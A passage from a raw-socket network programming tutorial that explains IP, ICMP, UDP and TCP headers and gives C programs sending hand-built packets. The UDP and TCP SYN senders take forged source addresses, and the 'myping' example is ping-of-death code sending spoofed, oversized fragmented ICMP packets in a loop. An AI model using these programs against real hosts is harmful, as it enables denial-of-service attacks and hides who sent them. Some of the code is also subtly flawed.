/* Little Endian/Big Endian must be considered here */
printf("Dump the packet: %s\n", buffer + sizeof(struct ipheader) + sizeof(struct tcpheader));

Continue on next Module…TCP/IP and RAW socket, more program examples.

-------------------------------------End Part IV-------------------------------------


----www.tenouk.com----

Further reading and digging:

1. Check the best selling C/C++, Networking, Linux and Open Source books at Amazon.com.

www.tenouk.com Page 19 of 19
MODULE 43
NETWORK PROGRAMMING
SOCKET PART V
Advanced TCP/IP and RAW SOCKET

My Training Period: hours

Note:
This is a continuation from Part IV, Module42. Working program examples compiled using gcc, tested using the
public IPs, run on Fedora 3, with several times of update, as root or suid 0. The Fedora machine used for the testing
having the "No Stack Execute" disabled and the SELinux set to default configuration.
This Module will concentrate on the TCP/IP stack and will try to dig deeper till the packet level.

The protocols: IP, ICMP, UDP and TCP

To fabricate our own packets, what we all need to know is the structures of the protocols that need to be included.
We can define our own protocol structure (packets’ header) then assign it with new values or we just assign new
values for the standard built-in structures’ elements. Below you will find detail information of the IP, ICMP, UDP
and TCP headers. Unix/Linux systems provide standard structures for the header files, so it is very useful in
learning and understanding packets by fabricating our own packet by using a struct, so we have the flexibility in
filling the packet headers. We can always create our own struct, as long as the length of each field is correct. In
building our program later on, note also the little endian (Intel x86) notation and the big endian based machines
(some processor architectures other than Intel x86 such as Motorola). The following sections try to analyze header
structures that will be used to construct our own packet in the program examples that follows, so that we know what
values should be filled in and which meaning they have. The data types that we need to use are: unsigned char
(1 byte/8 bits), unsigned short int (2 bytes/16 bits) and unsigned int (4 bytes/32 bits). Some of the
information presented in the following sections might be a repetition from the previous one.

IP

The following figure is IP header format that will be used as our reference in the following discussion.

Figure 23: IP header format.

The following is a structure for IP header example. Here we try defining all the IP header fields.

struct ipheader {
unsigned char iph_ihl:4, ip_ver:4;
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph_ident;
unsigned char iph_flags;
unsigned short int iph_offset;
unsigned char iph_ttl;
unsigned char iph_protocol;
unsigned short int iph_chksum;
unsigned int iph_source;
unsigned int iph_dest;
};

The Internet Protocol is the network layer protocol, used for routing the data from the source to its destination.
Every datagram contains an IP header followed by a transport layer protocol such as tcp or udp. The following
Table is a list of the IP header fields and their information.

www.tenouk.com Page 1 of 19
Element/field Description
iph_ver 4 bits of the version of IP currently used, the ip version is 4 (other version is IPv6).
4 bits, the ip header (datagram) length in 32 bits octets (bytes) that point to the beginning of the
data. The minimum value for a correct header is 5. This means a value of 5 for the iph_ihl
iph_ihl
means 20 bytes (5 * 4). Values other than 5 only need to be set if the ip header contains options
(mostly used for routing).
8 bits, type of service controls the priority of the packet. 0x00 is normal; the first 3 bits stand
for routing priority, the next 4 bits for the type of service (delay, throughput, reliability and
cost).
It indicates the quality of service desired by specifying how an upper-layer protocol would like
a current datagram to be handled, and assigns datagrams various levels of importance. This
field is used for the assignment of Precedence, Delay, Throughput and Reliability. These
parameters are to be used to guide the selection of the actual service parameters when
transmitting a datagram through a particular network. Several networks offer service
precedence, which somehow treats high precedence traffic as more important than other traffic
(generally by accepting only traffic above certain precedence at time of high load). The major
choice is a three way tradeoff between low-delay, high-reliability, and high-throughput.

Bits 0-2: Precedence.

111 - Network Control


110 - Internetwork Control
101 - CRITIC/ECP
100 - Flash Override
011 - Flash
010 - Immediate
001 - Priority
iph_tos
000 – Routine

Bit 3: 0 = Normal Delay, 1 = Low Delay.


Bit 4: 0 = Normal Throughput, 1 = High Throughput.
Bit 5: 0 = Normal Relibility, 1 = High Relibility.
Bit 6-7: Reserved for Future Use.

0 1 2 3 4 5 6 7
Precedence D T R 0 0

The use of the Delay, Throughput, and Reliability indications may increase the cost (in some
sense) of the service. In many networks better performance for one of these parameters is
coupled with worse performance on another. Except for very unusual cases at most two of
these three indications should be set.
The type of service is used to specify the treatment of the datagram during its transmission
through the internet system.
The Network Control precedence designation is intended to be used within a network only. The
actual use and control of that designation is up to each network. The Internetwork Control
designation is intended for use by gateway control originators only. If the actual use of these
precedence designations is of concern to a particular network, it is the responsibility of that
network to control the access to, and use of, those precedence designations.
The total is 16 bits; total length must contain the total length of the ip datagram (ip and data) in
bytes. This includes ip header, icmp or tcp or udp header and payload size in bytes.
iph_len
The maximum length could be specified by this field is 65,535 bytes. Typically, hosts are
prepared to accept datagrams up to 576 bytes (whether they arrive whole or in fragments).
The iph_ident sequence number is mainly used for reassembly of fragmented IP datagrams.
iph_ident When sending single datagrams, each can have an arbitrary ID. It contains an integer that
identifies the current datagram. This field is assigned by sender to help receiver to assemble the
datagram fragments.
Consists of a 3-bit field of which the two low-order (least-significant) bits control
fragmentation. The low-order bit specifies whether the packet can be fragmented. The middle
bit specifies whether the packet is the last fragment in a series of fragmented packets. The third
iph_flag
or high-order bit is not used. The Control Flags:

Bit 0: reserved, must be zero.

www.tenouk.com Page 2 of 19
Bit 1: (DF) 0 = May Fragment, 1 = Don't Fragment.
Bit 2: (MF) 0 = Last Fragment, 1 = More Fragments.

0 1 2
0 DF MF

The fragment offset is used for reassembly of fragmented datagrams. The first 3 bits are the
fragment flags, the first one always 0, the second the do-not-fragment bit (set by ihp_offset
= 0x4000) and the third the more-flag or more-fragments-following bit (ihp_offset =
ihp_offset 0x2000). The following 13 bits is the fragment offset, containing the number of 8-byte big
packets already sent.
This 13 bits field indicates the position of the fragment's data relative to the beginning of the
data in the original datagram, which allows the destination IP process to properly reconstruct
the original datagram.
8 bits, time to live is the number of hops (routers to pass) before the packet is discarded, and an
icmp error message is returned. The maximum is 255. It is a counter that gradually decrements
iph_ttl
down to zero, at which point the datagram is discarded. This keeps packets from looping
endlessly.
8 bits, the transport layer protocol. It can be tcp (6), udp (17), icmp (1), or whatever protocol
iph_protocol follows the ip header. Look in /etc/protocols or RFC 1700 for more. It indicates which
upper-layer protocol receives incoming packets after IP processing is complete.
16 bits, a checksum on the header only, the ip datagram. Every time anything in the datagram
changes, it needs to be recalculated, or the packet will be discarded by the next router. It helps
iph_chksum
ensure IP header integrity. Since some header fields change, e.g., Time To Live, this is
recomputed and verified at each point that the Internet header is processed.
32 bits, source IP address. It is converted to long format, e.g. by inet_addr(). Can be
iph_source
chosen arbitrarily (as used in IP spoofing).
32 bits, destination IP address, converted to long format, e.g. by inet_addr(). Can be
iph_dest
chosen arbitrarily.
Variable. The options may appear or not in datagrams. They must be implemented by all IP
modules (host and gateways). What is optional is their transmission in any particular datagram,
Options
not their implementation. In some environments the security option may be required in all
datagrams. The option field is variable in length. There may be zero or more options.
Variable. The internet header padding is used to ensure that the internet header ends on a 32 bit
Padding
boundary. The padding is zero.

Table 9: IP header fields description.

Fragmentation

Fragmentation, transmission and reassembly across a local network which is invisible to the internet protocol (IP)
are called intranet fragmentation. Fragmentation of an internet datagram is necessary when it originates in a local
network that allows a large packet size and must traverse a local network that limits packets to a smaller size to
reach its destination. An internet datagram can be marked "don't fragment". When the internet datagram is marked
like that, it is not to be internet fragmented under any circumstances. If internet datagram that has been marked as
"don't fragment" cannot be delivered to its destination without fragmenting it, it will be discarded instead.
The internet fragmentation and reassembly procedure needs to be able to break a datagram into an almost arbitrary
number of pieces that can be later reassembled. The receiver of the fragments uses the identification field to
ensure that fragments of different datagrams are not mixed. The fragment offset field tells the receiver the
position of a fragment in the original datagram. The fragment offset and length determine the portion of
the original datagram covered by this fragment. The more-fragments flag indicates (by being reset) the last
fragment. These fields provide sufficient information to reassemble datagrams.
The identification field is used to distinguish the fragments of one datagram from another. The originating
protocol module of an internet datagram sets the identification field to a value that must be unique for that
source-destination pair and protocol for the time the datagram will be active in the internet system. The originating
protocol module of a complete datagram sets the more-fragments flag to zero and the fragment offset to zero.
To fragment a long internet datagram, an internet protocol module (for example, in a gateway/router), creates two
new internet datagrams and copies the contents of the internet header fields from the long datagram into both new
internet headers. The data of the long datagram is divided into two portions on an 8 bytes (64 bit) boundary (the
second portion might not be an integral multiple of 8 bytes, but the first must be). The number of 8 byte blocks in

www.tenouk.com Page 3 of 19
the first portion is called NFB (for Number of Fragment Blocks). The first portion of the data is placed in the first
new internet datagram, and the total length field is set to the length of the first datagram. The more-
fragments flag is set to one. The second portion of the data is placed in the second new internet datagram, and
the total length field is set to the length of the second datagram. The more-fragments flag carries the same
value as the long datagram. The fragment offset field of the second new internet datagram is set to the value
of that field in the long datagram plus NFB.
This procedure can be generalized for an n-way split, rather than the two-way split described. To assemble the
fragments of an internet datagram, an internet protocol module (for example at a destination host) combines internet
datagrams that all have the same value for the four fields: identification, source, destination, and
protocol. The combination is done by placing the data portion of each fragment in the relative position indicated
by the fragment offset in that fragment's internet header. The first fragment will have the fragment
offset zero, and the last fragment will have the more-fragments flag reset to zero.

ICMP

IP itself has no mechanism for establishing and maintaining a connection, or even containing data as a direct
payload. Internet Control Messaging Protocol is merely an addition to IP to carry error, routing and control
messages and data, and is often considered as a protocol of the network layer. The following is ICMP header
format.

Figure 24: IMCP header format.

The following example is a structure that tries to define the ICMP header. This structure defined for Echo or Echo
Reply Message.

struct icmpheader {
unsigned char icmph_type;
unsigned char icmph_code;
unsigned short int icmph_chksum;
/* The following data structures are ICMP type specific */
unsigned short int icmph_ident;
unsigned short int icmph_seqnum;
}; /* total icmp header length: 8 bytes (= 64 bits) */

Messages can be error or informational messages. Error messages can be Destination unreachable, Packet too big,
Time exceed, Parameter problem. The possible informational messages are, Echo Request, Echo Reply, Group
Membership Query, Group Membership Report and Group Membership Reduction. The following Table lists all
the information for the previous structure element (the ICMP header’s fields).

Element/field Description
The message type, for example 0 - echo reply, 8 - echo request, 3 - destination unreachable.
Look in for all the types. For each type of message several different codes are defined. An
icmph_type example of this is the Destination Unreachable message, where possible messages are: no route
to destination, communication with destination administratively prohibited, not a neighbor,
address unreachable, port unreachable. For further details, refer to the standard.
This is significant when sending an error message (unreach), and specifies the kind of error.
Again, consult the include file for more. The 16-bit one's complement of the one's complement
icmph_code
sum of the ICMP message starting with the ICMP type. For computing the checksum, the
checksum field should be zero.
The checksum for the icmp header + data. Same as the IP checksum. Note: The next 32 bits in
an icmp packet can be used in many different ways. This depends on the icmp type and code.
icmph_chksum
The most commonly seen structure, an ID and sequence number, is used in echo requests and
replies, but keep in mind that the header is actually more complex.
An identifier to aid in matching requests/replies; may be zero. Used to echo request/reply
icmph_ident
messages, to identify the request.
Sequence number to aid in matching requests/replies; may be zero. Used to identify the
icmph_seqnum
sequence of echo messages, if more than one is sent.

www.tenouk.com Page 4 of 19
Table 10: ICMP header fields description.

The following is an example of the ICMP header format as defined in the above structure for Echo or Echo Reply
Message.

Figure 25: An example of IP header format for Echo or Echo Reply Message.

The description:

Field Description
Type 8 - For echo message; 0 - for echo reply message.
Code 0.
The checksum is the 16-bit ones’ complement of the one's complement sum of the ICMP
message starting with the ICMP Type. For computing the checksum, the checksum field should
Checksum
be zero. If the total length is odd, the received data is padded with one octet of zeros for
computing the checksum. This checksum may be replaced in the future.
Identifier If code = 0, an identifier to aid in matching echoes and replies, may be zero.
If code = 0, a sequence number to aid in matching echoes and replies, may be zero. The data
received in the echo message must be returned in the echo reply message. The identifier and
Sequence sequence number may be used by the echo sender to aid in matching the replies with the echo
Number requests. For example, the identifier might be used like a port in TCP or UDP to identify a
session, and the sequence number might be incremented on each echo request sent. The echoer
returns these same values in the echo reply. Code 0 may be received from a gateway or a host.

Table 11: IP header fields for Echo or Echo Reply Message description.

UDP

The User Datagram Protocol is a transport protocol for sessions that need to exchange data. Both transport
protocols, UDP and TCP provide 65535 (216) different standard and non standard source and destination ports. The
destination port is used to connect to a specific service on that port. Unlike TCP, UDP is not reliable, since it
doesn't use sequence numbers and stateful connections. This means UDP datagrams can be spoofed, and might not
be reliable (e.g. they can be lost unnoticed), since they are not acknowledged using replies and sequence numbers.
The following figure shows the UDP header format.

Figure 26: UDP header format.

As an example, we can define a structure for the UDP header as follows.

struct udpheader {
unsigned short int udph_srcport;
unsigned short int udph_destport;
unsigned short int udph_len;
unsigned short int udph_chksum;
}; /* total udp header length: 8 bytes (= 64 bits) */

A brief description:

Element/field Description
The source port that a client bind()s to, and the contacted server will reply back to in order
udph_srcport
to direct his responses to the client. It is an optional field, when meaningful, it indicates the

www.tenouk.com Page 5 of 19
port of the sending process, and may be assumed to be the port to which a reply should be
addressed in the absence of any other information. If not used, a value of zero is inserted.
udph_destport The destination port that a specific server can be contacted on.
The length of udp header and payload data in bytes. It is a length in bytes of this user
udph_len datagram including this header and the data. (This means the minimum value of the length is
eight.)
The checksum of header and data, see IP checksum. It is the 16-bit one's complement of the
one's complement sum of a pseudo header (shown in the following figure) of information
from the IP header, the UDP header, and the data, padded with zero octets at the end (if
necessary) to make a multiple of two octets.
The pseudo header conceptually prefixed to the UDP header contains the source address, the
udph_chksum
destination address, the protocol, and the UDP length. This information gives protection
against misrouted datagrams. This checksum procedure is the same as used in TCP.
If the computed checksum is zero, it is transmitted as all ones (the equivalent in one's
complement arithmetic). An all zero transmitted checksum value means that the transmitter
generated no checksum (for debugging or for higher level protocols that don't care).

Table 12: UDP header fields description.

Figure 27: UDP pseudo header format.

TCP

The Transmission Control Protocol is the mostly used transport protocol that provides mechanisms to establish a
reliable connection with some basic authentication, using connection states and sequence numbers. The following is
a TCP header format.

Figure 28: TCP header format.

And a structure example for the TCP header’s field.

struct tcpheader {
unsigned short int tcph_srcport;
unsigned short int tcph_destport;
unsigned int tcph_seqnum;
unsigned int tcph_acknum;
unsigned char tcph_reserved:4, tcph_offset:4;
unsigned char tcph_flags;
unsigned short int tcph_win;
unsigned short int tcph_chksum;
unsigned short int tcph_urgptr;
};
/* total tcp header length: 20 bytes (= 160 bits) */

A brief description:

Element/field Description
tcph_srcport The 16 bits source port, which has the same function as in UDP.

www.tenouk.com Page 6 of 19
tcph_destport The 16 bits destination port, which has the same function as in UDP.
The 32 bits sequence number of the first data octet in this segment (except when SYN is
present). If SYN is present the sequence number is the initial sequence number (ISN) and the
first data octet is ISN+1.
tcph_seqnum It is used to enumerate the TCP segments. The data in a TCP connection can be contained in
any amount of segments (= single tcp datagrams), which will be put in order and
acknowledged. For example, if you send 3 segments, each containing 32 bytes of data, the
first sequence would be (N+)1, the second one (N+)33 and the third one (N+)65. "N+"
because the initial sequence is random.
32 bits. If the ACK control bit is set this field contains the value of the next sequence number
the sender of the segment is expecting to receive. Once a connection is established this is
tcph_acknum always sent. Every packet that is sent and a valid part of a connection is acknowledged with
an empty TCP segment with the ACK flag set (see below), and the tcph_acknum field
containing the previous tcph_seqnum number.
The segment offset specifies the length of the TCP header in 32bit/4byte blocks. Without tcp
tcph_offset
header options, the value is 5.
tcph_reserved 4 bits reserved for future use. This is unused and must contain binary zeroes.
This field consists of six bits flags (left to right). They can be ORed.
TH_URG - Urgent. Segment will be routed faster, used for termination of a connection or to
stop processes (using telnet protocol).
TH_ACK - Acknowledgement. Used to acknowledge data and in the second and third stage of
a TCP connection initiation.
TH_PSH - Push. The systems IP stack will not buffer the segment and forward it to the
tcph_flags
application immediately (mostly used with telnet).
TH_RST - Reset. Tells the peer that the connection has been terminated.
TH_SYN - Synchronization. A segment with the SYN flag set indicates that client wants to
initiate a new connection to the destination port.
TH_FIN - Final. The connection should be closed, the peer is supposed to answer with one
last segment with the FIN flag set as well.
16 bits Window. The number of bytes that can be sent before the data should be
tcph_win
acknowledged with an ACK before sending more segments.
The checksum field is the 16 bit one's complement of the one's complement sum of all 16 bit
words in the header and text. If a segment contains an odd number of header and text octets to
be checksummed, the last octet is padded on the right with zeros to form a 16 bit word for
checksum purposes. The pad is not transmitted as part of the segment. While computing the
checksum, the checksum field itself is replaced with zeros. It is the checksum of pseudo
header, tcp header and payload. The pseudo is a structure containing IP source and
tcph_chksum destination address, 1 byte set to zero, the protocol (1 byte with a decimal value of 6), and 2
bytes (unsigned short) containing the total length of the tcp segment.
The checksum also covers a 96 bit pseudo header (shown in the following figure)
conceptually prefixed to the TCP header. This pseudo header contains the Source Address,
the Destination Address, the Protocol, and TCP length. This gives the TCP protection against
misrouted segments. This information is carried in the Internet Protocol and is transferred
across the TCP/Network interface in the arguments or results of calls by the TCP on the IP.
Urgent pointer. Only used if the TH_URG flag is set, else zero. It points to the end of the
tcph_urgptr
payload data that should be sent with priority.

Table 13: TCP header fields description.

Figure 29: TCP pseudo header format.

The TCP Length is the TCP header length plus the data length in octets (this is not an explicitly transmitted quantity,
but is computed), and it does not count the 12 octets of the pseudo header.

Building and injecting datagrams program examples

www.tenouk.com Page 7 of 19
[root@bakawali testraw]# cat rawudp.c
// ----rawudp.c------
// Must be run by root lol! Just datagram, no payload/data
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>

// The packet length


#define PCKT_LEN 8192

// Can create separate header file (.h) for all


// headers' structure
// IP header's structure
struct ipheader {
unsigned char iph_ihl:5, iph_ver:4;
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph_ident;
unsigned char iph_flag;
unsigned short int iph_offset;
unsigned char iph_ttl;
unsigned char iph_protocol;
unsigned short int iph_chksum;
unsigned int iph_sourceip;
unsigned int iph_destip;
};

// UDP header's structure


struct udpheader {
unsigned short int udph_srcport;
unsigned short int udph_destport;
unsigned short int udph_len;
unsigned short int udph_chksum;
};
// total udp header length: 8 bytes (=64 bits)

// Function for checksum calculation


// From the RFC, the checksum algorithm is:
// "The checksum field is the 16 bit one's complement of the one's
// complement sum of all 16 bit words in the header. For purposes of
// computing the checksum, the value of the checksum field is zero."
unsigned short csum(unsigned short *buf, int nwords)
{ //
unsigned long sum;
for(sum=0; nwords>0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum &0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}

// Source IP, source port, target IP, target port from


// the command line arguments
int main(int argc, char *argv[])
{
int sd;
// No data/payload just datagram
char buffer[PCKT_LEN];
// Our own headers' structures
struct ipheader *ip = (struct ipheader *) buffer;
struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));
// Source and destination addresses: IP and port
struct sockaddr_in sin, din;
int one = 1;
const int *val = &one;

memset(buffer, 0, PCKT_LEN);

if(argc != 5)
{
printf("- Invalid parameters!!!\n");
printf("- Usage %s <source hostname/IP> <source port> <target hostname/IP> <target port>\n",
argv[0]);
exit(-1);
}

// Create a raw socket with UDP protocol

www.tenouk.com Page 8 of 19
sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
if(sd < 0)
{
perror("socket() error");
// If something wrong just exit
exit(-1);
}
else
printf("socket() - Using SOCK_RAW socket and UDP protocol is OK.\n");

// The source is redundant, may be used later if needed


// Address family
sin.sin_family = AF_INET;
din.sin_family = AF_INET;
// Port numbers
sin.sin_port = htons(atoi(argv[2]));
din.sin_port = htons(atoi(argv[4]));
// IP addresses
sin.sin_addr.s_addr = inet_addr(argv[1]);
din.sin_addr.s_addr = inet_addr(argv[3]);

// Fabricate the IP header or we can use the


// standard header structures but assign our own values.
ip->iph_ihl = 5;
ip->iph_ver = 4;
ip->iph_tos = 16; // Low delay
ip->iph_len = sizeof(struct ipheader) + sizeof(struct udpheader);
ip->iph_ident = htons(54321);
ip->iph_ttl = 64; // hops
ip->iph_protocol = 17; // UDP
// Source IP address, can use spoofed address here!!!
ip->iph_sourceip = inet_addr(argv[1]);
// The destination IP address
ip->iph_destip = inet_addr(argv[3]);

// Fabricate the UDP header


// Source port number, redundant
udp->udph_srcport = htons(atoi(argv[2]));
// Destination port number
udp->udph_destport = htons(atoi(argv[4]));
udp->udph_len = htons(sizeof(struct udpheader));
// Calculate the checksum for integrity
ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct
udpheader));
// Inform the kernel do not fill up the packet structure
// we will build our own...
if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0)
{
perror("setsockopt() error");
exit(-1);
}
else
printf("setsockopt() is OK.\n");

// Send loop, send for every 2 second for 100 count


printf("Trying...\n");
printf("Using raw socket and UDP protocol\n");
printf("Using Source IP: %s port: %u, Target IP: %s port: %u.\n", argv[1], atoi(argv[2]),
argv[3], atoi(argv[4]));

int count;
for(count = 1; count <=20; count++)
{
if(sendto(sd, buffer, ip->iph_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
// Verify
{
perror("sendto() error");
exit(-1);
}
else
{
printf("Count #%u - sendto() is OK.\n", count);
sleep(2);
}
}
close(sd);
return 0;
}

www.tenouk.com Page 9 of 19
[root@bakawali testraw]# gcc rawudp.c -o rawudp
[root@bakawali testraw]# ./rawudp
- Invalid parameters!!!
- Usage ./rawudp <source hostname/IP> <source port> <target hostname/IP> <target port>
[root@bakawali testraw]# ./rawudp 192.168.10.10 21 203.106.93.91 8080
socket() - Using SOCK_RAW socket and UDP protocol is OK.
setsockopt() is OK.
Trying...
Using raw socket and UDP protocol
Using Source IP: 192.168.10.10 port: 21, Target IP: 203.106.93.91 port: 8080.
Count #1 - sendto() is OK.
Count #2 - sendto() is OK.
Count #3 - sendto() is OK.
Count #4 - sendto() is OK.
Count #5 - sendto() is OK.
Count #6 - sendto() is OK.
Count #7 - sendto() is OK.
...

You can use network monitoring tools to capture the raw socket datagrams at the target machine to see the effect.
The following is a raw socket and tcp program example.

[root@bakawali testraw]# cat rawtcp.c


//---cat rawtcp.c---
// Run as root or suid 0, just datagram no data/payload
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
// Packet length
#define PCKT_LEN 8192

// May create separate header file (.h) for all


// headers' structures
// IP header's structure
struct ipheader {
unsigned char iph_ihl:5, /* Little-endian */
iph_ver:4;
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph_ident;
unsigned char iph_flags;
unsigned short int iph_offset;
unsigned char iph_ttl;
unsigned char iph_protocol;
unsigned short int iph_chksum;
unsigned int iph_sourceip;
unsigned int iph_destip;
};

/* Structure of a TCP header */


struct tcpheader {
unsigned short int tcph_srcport;
unsigned short int tcph_destport;
unsigned int tcph_seqnum;
unsigned int tcph_acknum;
unsigned char tcph_reserved:4, tcph_offset:4;
// unsigned char tcph_flags;
unsigned int
tcp_res1:4, /*little-endian*/
tcph_hlen:4, /*length of tcp header in 32-bit words*/
tcph_fin:1, /*Finish flag "fin"*/
tcph_syn:1, /*Synchronize sequence numbers to start a connection*/
tcph_rst:1, /*Reset flag */
tcph_psh:1, /*Push, sends data to the application*/
tcph_ack:1, /*acknowledge*/
tcph_urg:1, /*urgent pointer*/
tcph_res2:2;
unsigned short int tcph_win;
unsigned short int tcph_chksum;
unsigned short int tcph_urgptr;
};

// Simple checksum function, may use others such as


// Cyclic Redundancy Check, CRC

www.tenouk.com Page 10 of 19
unsigned short csum(unsigned short *buf, int len)
{
unsigned long sum;
for(sum=0; len>0; len--)
sum += *buf++;
sum = (sum >> 16) + (sum &0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}

int main(int argc, char *argv[])


{
int sd;
// No data, just datagram
char buffer[PCKT_LEN];
// The size of the headers
struct ipheader *ip = (struct ipheader *) buffer;
struct tcpheader *tcp = (struct tcpheader *) (buffer + sizeof(struct ipheader));
struct sockaddr_in sin, din;
int one = 1;
const int *val = &one;

memset(buffer, 0, PCKT_LEN);

if(argc != 5)
{
printf("- Invalid parameters!!!\n");
printf("- Usage: %s <source hostname/IP> <source port> <target hostname/IP> <target port>\n",
argv[0]);
exit(-1);
}

sd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);


if(sd < 0)
{
perror("socket() error");
exit(-1);
}
else
printf("socket()-SOCK_RAW and tcp protocol is OK.\n");

// The source is redundant, may be used later if needed


// Address family
sin.sin_family = AF_INET;
din.sin_family = AF_INET;
// Source port, can be any, modify as needed
sin.sin_port = htons(atoi(argv[2]));
din.sin_port = htons(atoi(argv[4]));
// Source IP, can be any, modify as needed
sin.sin_addr.s_addr = inet_addr(argv[1]);
din.sin_addr.s_addr = inet_addr(argv[3]);
// IP structure
ip->iph_ihl = 5;
ip->iph_ver = 4;
ip->iph_tos = 16;
ip->iph_len = sizeof(struct ipheader) + sizeof(struct tcpheader);
ip->iph_ident = htons(54321);
ip->iph_offset = 0;
ip->iph_ttl = 64;
ip->iph_protocol = 6; // TCP
ip->iph_chksum = 0; // Done by kernel

// Source IP, modify as needed, spoofed, we accept through


// command line argument
ip->iph_sourceip = inet_addr(argv[1]);
// Destination IP, modify as needed, but here we accept through
// command line argument
ip->iph_destip = inet_addr(argv[3]);

// TCP structure
// The source port, spoofed, we accept through the command line
tcp->tcph_srcport = htons(atoi(argv[2]));
// The destination port, we accept through command line
tcp->tcph_destport = htons(atoi(argv[4]));
tcp->tcph_seqnum = htonl(1);
tcp->tcph_acknum = 0;
tcp->tcph_offset = 5;
tcp->tcph_syn = 1;
tcp->tcph_ack = 0;
tcp->tcph_win = htons(32767);

www.tenouk.com Page 11 of 19
tcp->tcph_chksum = 0; // Done by kernel
tcp->tcph_urgptr = 0;
// IP checksum calculation
ip->iph_chksum = csum((unsigned short *) buffer, (sizeof(struct ipheader) + sizeof(struct
tcpheader)));

// Inform the kernel do not fill up the headers'


// structure, we fabricated our own
if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0)
{
perror("setsockopt() error");
exit(-1);
}
else
printf("setsockopt() is OK\n");

printf("Using:::::Source IP: %s port: %u, Target IP: %s port: %u.\n", argv[1], atoi(argv[2]),
argv[3], atoi(argv[4]));

// sendto() loop, send every 2 second for 50 counts


unsigned int count;
for(count = 0; count < 20; count++)
{
if(sendto(sd, buffer, ip->iph_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
// Verify
{
perror("sendto() error");
exit(-1);
}
else
printf("Count #%u - sendto() is OK\n", count);
sleep(2);
}
close(sd);
return 0;
}

[root@bakawali testraw]# gcc rawtcp.c -o rawtcp


[root@bakawali testraw]# ./rawtcp
- Invalid parameters!!!
- Usage: ./rawtcp <source hostname/IP> <source port> <target hostname/IP> <target
port>
[root@bakawali testraw]# ./rawtcp 10.10.10.100 23 203.106.93.88 8008
socket()-SOCK_RAW and tcp protocol is OK.
setsockopt() is OK
Using:::::Source IP: 10.10.10.100 port: 23, Target IP: 203.106.93.88 port: 8008.
Count #0 - sendto() is OK
Count #1 - sendto() is OK
Count #2 - sendto() is OK
Count #3 - sendto() is OK
Count #4 - sendto() is OK
...

Network utilities applications such as ping and Traceroute (check Unix/Linux man page) use ICMP and raw socket.
The following is a very loose ping and ICMP program example. It is taken from ping-of-death program.

[root@bakawali testraw]# cat myping.c


/* Must be root or suid 0 to open RAW socket */
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>

int main(int argc, char *argv[])


{
int s, i;
char buf[400];
struct ip *ip = (struct ip *)buf;
struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
struct hostent *hp, *hp2;

www.tenouk.com Page 12 of 19
struct sockaddr_in dst;
int offset;
int on;
int num = 100;

if(argc < 3)
{
printf("\nUsage: %s <saddress> <dstaddress> [number]\n", argv[0]);
printf("- saddress is the spoofed source address\n");
printf("- dstaddress is the target\n");
printf("- number is the number of packets to send, 100 is the default\n");
exit(1);
}

/* If enough argument supplied */


if(argc == 4)
/* Copy the packet number */
num = atoi(argv[3]);

/* Loop based on the packet number */


for(i=1;i<=num;i++)
{
on = 1;
bzero(buf, sizeof(buf));

/* Create RAW socket */


if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("socket() error");
/* If something wrong, just exit */
exit(1);
}

/* socket options, tell the kernel we provide the IP structure */


if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
{
perror("setsockopt() for IP_HDRINCL error");
exit(1);
}

if((hp = gethostbyname(argv[2])) == NULL)


{
if((ip->ip_dst.s_addr = inet_addr(argv[2])) == -1)
{
fprintf(stderr, "%s: Can't resolve, unknown host.\n", argv[2]);
exit(1);
}
}
else
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);

/* The following source address just redundant for target to collect */


if((hp2 = gethostbyname(argv[1])) == NULL)
{
if((ip->ip_src.s_addr = inet_addr(argv[1])) == -1)
{
fprintf(stderr, "%s: Can't resolve, unknown host\n", argv[1]);
exit(1);
}
}
else
bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);

printf("Sending to %s from spoofed %s\n", inet_ntoa(ip->ip_dst), argv[1]);

/* Ip structure, check the /usr/include/netinet/ip.h */


ip->ip_v = 4;
ip->ip_hl = sizeof*ip >> 2;
ip->ip_tos = 0;
ip->ip_len = htons(sizeof(buf));
ip->ip_id = htons(4321);
ip->ip_off = htons(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0; /* Let kernel fills in */

dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;

icmp->type = ICMP_ECHO;

www.tenouk.com Page 13 of 19
icmp->code = 0;
/* Header checksum */
icmp->checksum = htons(~(ICMP_ECHO << 8));

for(offset = 0; offset < 65536; offset += (sizeof(buf) - sizeof(*ip)))


{
ip->ip_off = htons(offset >> 3);

if(offset < 65120)


ip->ip_off |= htons(0x2000);
else
ip->ip_len = htons(418); /* make total 65538 */

/* sending time */
if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0)
{
fprintf(stderr, "offset %d: ", offset);
perror("sendto() error");
}
else
printf("sendto() is OK.\n");

/* IF offset = 0, define our ICMP structure */


if(offset == 0)
{
icmp->type = 0;
icmp->code = 0;
icmp->checksum = 0;
}
}
/* close socket */
close(s);
usleep(30000);
}
return 0;
}

